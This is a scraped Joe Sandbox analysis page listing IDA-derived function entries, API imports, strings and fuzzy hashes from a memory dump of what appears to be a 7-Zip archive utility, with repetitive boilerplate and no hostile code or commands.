Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$fputs
String ID: =
API String ID: 2444650769-2525689732
Opcode ID: 40218af8c8f5cebf14e2460a5095f74d7b39ca0d1f579d7e20a065c4070789fb
Instruction ID: c9249124bbfc7529d6fbb254441586a7ecae10324bcccd2334fd3006198f7b8a
Opcode Fuzzy Hash: 40218af8c8f5cebf14e2460a5095f74d7b39ca0d1f579d7e20a065c4070789fb
Instruction Fuzzy Hash: 5421917331494085CA20EF66E48566EA730FBD6BE4F845222FF5E43679DF28C986D704

Function 00C8E16E Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00C8E1C2
__setusermatherr.MSVCRT ref: 00C8E211
_initterm.MSVCRT ref: 00C8E225
__getmainargs.MSVCRT ref: 00C8E256
_initterm.MSVCRT ref: 00C8E26A
exit.KERNELBASE ref: 00C8E29D

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherrexit
String ID:
API String ID: 852415323-0
Opcode ID: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
Instruction ID: c256ddea7990917d66208f51b3dba1a1ddc6c845c41f5f698a78dfc9b2cfe16c
Opcode Fuzzy Hash: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
Instruction Fuzzy Hash: 39314C71214B45CAFB40EF25E894B5A7761F7847A8F50833AE66A436B4DF38C945CB08

Function 00C8E1A6 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00C8E1C2
__setusermatherr.MSVCRT ref: 00C8E211
_initterm.MSVCRT ref: 00C8E225
__getmainargs.MSVCRT ref: 00C8E256
_initterm.MSVCRT ref: 00C8E26A
exit.KERNELBASE ref: 00C8E29D

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherrexit
String ID:
API String ID: 852415323-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 6680b3da1022cb75e2f8cf9032e730e937934b8d8e0eab7116b8e8fe8dd6b4a7
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: 57210A71214B45C6FB00EF29E894B4A7761F7857A8F50832AEA6A437B4DF3CC946CB04

Function 00C8E15A Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00C8E1C2
__setusermatherr.MSVCRT ref: 00C8E211
_initterm.MSVCRT ref: 00C8E225
__getmainargs.MSVCRT ref: 00C8E256
_initterm.MSVCRT ref: 00C8E26A
exit.KERNELBASE ref: 00C8E29D

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherrexit
String ID:
API String ID: 852415323-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 6680b3da1022cb75e2f8cf9032e730e937934b8d8e0eab7116b8e8fe8dd6b4a7
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: 57210A71214B45C6FB00EF29E894B4A7761F7857A8F50832AEA6A437B4DF3CC946CB04

Function 00C8E139 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00C8E1C2
__setusermatherr.MSVCRT ref: 00C8E211
_initterm.MSVCRT ref: 00C8E225
__getmainargs.MSVCRT ref: 00C8E256
_initterm.MSVCRT ref: 00C8E26A
exit.KERNELBASE ref: 00C8E29D

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherrexit
String ID:
API String ID: 852415323-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 6680b3da1022cb75e2f8cf9032e730e937934b8d8e0eab7116b8e8fe8dd6b4a7
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: 57210A71214B45C6FB00EF29E894B4A7761F7857A8F50832AEA6A437B4DF3CC946CB04

Function 00C64610 Relevance: 8.8, APIs: 7, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00C73EE0: free.MSVCRT ref: 00C73F45

free.MSVCRT ref: 00C64633
free.MSVCRT ref: 00C6463C
free.MSVCRT ref: 00C64646
free.MSVCRT ref: 00C64672
free.MSVCRT ref: 00C6467A
free.MSVCRT ref: 00C64687
free.MSVCRT ref: 00C646BA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
Instruction ID: 839ef12fdef4fca08e9c5020f4001c298be3078752f4e8f980bcaa929cd25b7c
Opcode Fuzzy Hash: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
Instruction Fuzzy Hash: DE114823741A849ACA28BF22D99212D3360FF93BB07585221FF3D17B95DF24CDA29300

Function 00C6419C Relevance: 8.8, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C641B9
free.MSVCRT ref: 00C641C5
free.MSVCRT ref: 00C641D1
free.MSVCRT ref: 00C641DD
free.MSVCRT ref: 00C641E6
free.MSVCRT ref: 00C641EF
free.MSVCRT ref: 00C641F8

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
Instruction ID: 911e52f1b85c61b65e972fc366d160c94080cc3b384592d5fd79fbceea2cfc13
Opcode Fuzzy Hash: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
Instruction Fuzzy Hash: 7F11DB22311A8085CF18EF75C8A222C7360FFC1FA9B545661AF7E4B765CF24C8469344

Function 00C73A42 Relevance: 7.7, APIs: 6, Instructions: 151COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C73C0C
free.MSVCRT ref: 00C73C17
free.MSVCRT ref: 00C73C22
free.MSVCRT ref: 00C73C77
free.MSVCRT ref: 00C73C82

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
Instruction ID: c38657481898628121a610a70b6d80522f5de78aff53553519ae9678115ef846
Opcode Fuzzy Hash: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
Instruction Fuzzy Hash: 21514B62200A8491CF10EF25D4912EE6761F7C5FC8F909122EE5E97729DF78CA8AD341

Function 00C81544 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 53COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C815D5

Part of subcall function 00C8B1C8: memset.MSVCRT ref: 00C8B20D
Part of subcall function 00C8B1C8: fputs.MSVCRT ref: 00C8B232

Strings

Testing archive: , xrefs: 00C815C0
Open, xrefs: 00C81604
Extracting archive: , xrefs: 00C815C7

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$memset
String ID: Extracting archive: $Open$Testing archive:
API String ID: 3543874852-295398807
Opcode ID: 57ce32b18a297629e4857599c7fb9a690bf538672504f27dd934718ea67813a2
Instruction ID: 244190b8f26c442444643ccec07337950d8da4c121367cce14891817d6a297a6
Opcode Fuzzy Hash: 57ce32b18a297629e4857599c7fb9a690bf538672504f27dd934718ea67813a2
Instruction Fuzzy Hash: 7011C162342A8284EF44EF29D885BEC23A4E745B9CF5C85359E1D4A224EF38C58BD310

Function 00C82E24 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C82E47
fputs.MSVCRT ref: 00C82E57
free.MSVCRT ref: 00C82EA4

Part of subcall function 00C82CFC: fputs.MSVCRT ref: 00C82D41
Part of subcall function 00C82CFC: fputs.MSVCRT ref: 00C82DCF
Part of subcall function 00C82CFC: free.MSVCRT ref: 00C82DFF

Strings

= , xrefs: 00C82E50

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$free
String ID: =
API String ID: 3873070119-2525689732
Opcode ID: 5f170de45124cbf05d2114cb4ce541d5ab7e7f6622d8dac823fc30cd2b14e81d
Instruction ID: 31d85b49632ca58430f636735a5c2cb88141bf8a8844a3965e199deb57714d24
Opcode Fuzzy Hash: 5f170de45124cbf05d2114cb4ce541d5ab7e7f6622d8dac823fc30cd2b14e81d
Instruction Fuzzy Hash: 1EF086A230494040EE20EB26E95577E5321BBD6FF8F449321BD6E07BB8DF28C946D704

Function 00C749B0 Relevance: 6.4, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C74A5C
free.MSVCRT ref: 00C74A67
free.MSVCRT ref: 00C74AE4

Part of subcall function 00C43314: memmove.MSVCRT ref: 00C43339

free.MSVCRT ref: 00C74B0F
free.MSVCRT ref: 00C74B1A

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: ffa01df610a78eb8c6bf6cbd45b0887f3d376cc6246ea700225451970a264df5
Instruction ID: acc6dc96cb46dcf773a5ca14d02eec5e65d8192afd1b18bc2aed4a16426cd620
Opcode Fuzzy Hash: ffa01df610a78eb8c6bf6cbd45b0887f3d376cc6246ea700225451970a264df5
Instruction Fuzzy Hash: C441BF23205B8492CB24EF26D4513AE77A0FBC6B94F485032EB8E47729DF38C995D314

Function 00C8E120 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
Instruction ID: 02435fc763044f64143e26692a324323a37a9277b4bc1f96fb2bed94db039682
Opcode Fuzzy Hash: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
Instruction Fuzzy Hash: F8310C72214B45C6FB10EF28E894B5A7770F385B68F50832AE669437B5DF38C985CB04

Function 00C42320 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4237E
free.MSVCRT ref: 00C423AB
fputs.MSVCRT ref: 00C423B8
free.MSVCRT ref: 00C423C4

Part of subcall function 00C43274: memmove.MSVCRT ref: 00C432AC

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$fputsmemmove
String ID:
API String ID: 4106585527-0
Opcode ID: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
Instruction ID: 4ce78a57fb93f930d6ab51f5a4ada70e00afc0ef471aee3c171bf4ddd086439e
Opcode Fuzzy Hash: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
Instruction Fuzzy Hash: 7701256330888091DE20AF25E85155E7721FBC5BF4F446321BA6F876F9DE28CA86D744

Function 00C468A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE ref: 00C468C7
SetFileAttributesW.KERNEL32 ref: 00C46903
free.MSVCRT ref: 00C46913
free.MSVCRT ref: 00C46921

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
Instruction ID: c66c48d18b4f8f9a0c83fbf62dc8d1fb36c170f44053d46782781e1b06e7ed67
Opcode Fuzzy Hash: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
Instruction Fuzzy Hash: 7901D62230464182EA30AB21D58137E1764BBC67F4F584321AE7D877E9CE78CE87A702

Function 00C47D4C Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE ref: 00C47D6E
GetFileAttributesW.KERNEL32 ref: 00C47DA5
free.MSVCRT ref: 00C47DB2
free.MSVCRT ref: 00C47DC0

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 90b61e9f4f0805f8493b7b2730efc4ecc0887a88725c8ba3c0691ab996cf754b
Instruction ID: 5fa40ca19edb24ab613d5e5dc1cc58779ab5eb13e625b22822967bbb90f923a9
Opcode Fuzzy Hash: 90b61e9f4f0805f8493b7b2730efc4ecc0887a88725c8ba3c0691ab996cf754b
Instruction Fuzzy Hash: F4F0442661864486CA30AB75A99127D2660BFC97F4F540320EA79877F9DF18CE869700

Function 00C63E14 Relevance: 5.1, APIs: 4, Instructions: 142COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C63F66
memmove.MSVCRT ref: 00C63F8B
free.MSVCRT ref: 00C64028
free.MSVCRT ref: 00C64033

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: e8f9cdc7cbc43501b9a821d31bcf444afd51c02bda1371c1c9b7f3f0ed001691
Instruction ID: 3bf8fd2326832f0175b44d6b3a4ad6e8fb2b628d27eb920f495565fc211d131a
Opcode Fuzzy Hash: e8f9cdc7cbc43501b9a821d31bcf444afd51c02bda1371c1c9b7f3f0ed001691
Instruction Fuzzy Hash: 6C519C72700A8097CA30EF16E8C029DB360F789BD4F404226EB9E47B59DF38D5A6CB54

Function 00C69BCC Relevance: 5.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

free.MSVCRT(?,?,?,?,?,00000000,?,?,00C69DE5), ref: 00C69C11
free.MSVCRT(?,?,?,?,?,00000000,?,?,00C69DE5), ref: 00C69C19
free.MSVCRT(?,?,?,?,?,00000000,?,?,00C69DE5), ref: 00C69C3B
free.MSVCRT(?,?,?,?,?,00000000,?,?,00C69DE5), ref: 00C69D2A

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c672974581852c8ab8e8e4232f116f9865b8037c8c9b18d6af4eac83a37c9762
Instruction ID: 4457d9c6665c07b21edb828af97fa873c3a4324dc05dc9cc66af718f60aeb6f5
Opcode Fuzzy Hash: c672974581852c8ab8e8e4232f116f9865b8037c8c9b18d6af4eac83a37c9762
Instruction Fuzzy Hash: 4131806371568496CB30DF16E4C142EA7A5FBC87A4B989235FF5E47758DA38C982C700

Function 00C6A9FC Relevance: 5.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C6AA95
free.MSVCRT ref: 00C6AAB8
free.MSVCRT ref: 00C6AAC5
free.MSVCRT ref: 00C6AAD2

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
Instruction ID: 6800ced540543dc854d5c66d97d24f1b7b7115b1eda4cb855d38e40b2aae1988
Opcode Fuzzy Hash: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
Instruction Fuzzy Hash: 03118A2121858051DA20EA65E5912AE9760FBD17F0F401322BBBE57AEADF58CD4BDF00

Function 00C6CF80 Relevance: 5.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00C43404: free.MSVCRT ref: 00C43431
Part of subcall function 00C43404: memmove.MSVCRT ref: 00C4344C

free.MSVCRT ref: 00C6CFC9
_CxxThrowException.MSVCRT ref: 00C6CFE6
free.MSVCRT ref: 00C6D019
free.MSVCRT ref: 00C6D021

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmemmove
String ID:
API String ID: 3934437811-0
Opcode ID: 3a97ebef2fcd1cdc2599d13047a49bc923f0f8c10aefa58592d67d2e468ee3f2
Instruction ID: ba1a9fe21f251449cccc05c299b943389cba637b257f95a57ca51256b9e93738
Opcode Fuzzy Hash: 3a97ebef2fcd1cdc2599d13047a49bc923f0f8c10aefa58592d67d2e468ee3f2
Instruction Fuzzy Hash: E11187637046C04BCA309F25E89139E6750FB427B4F584315EFAA077A5DF68C54AC700

Function 00C601A8 Relevance: 5.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C60211
free.MSVCRT ref: 00C6021C
free.MSVCRT ref: 00C60249
free.MSVCRT ref: 00C60254

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
Instruction ID: 2856b9845c6c0afd5673e84c4cce774b14ce3e7288ccfc2c6d5b9f359a5aa8be
Opcode Fuzzy Hash: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
Instruction Fuzzy Hash: D801DB6220458081CD30EF22F45516F9721FFC27E4F541321BEAE576A6CF28CA8AD700

Function 00C48CDC Relevance: 4.6, APIs: 3, Instructions: 75fileCOMMON

Download Yara Rule

APIs

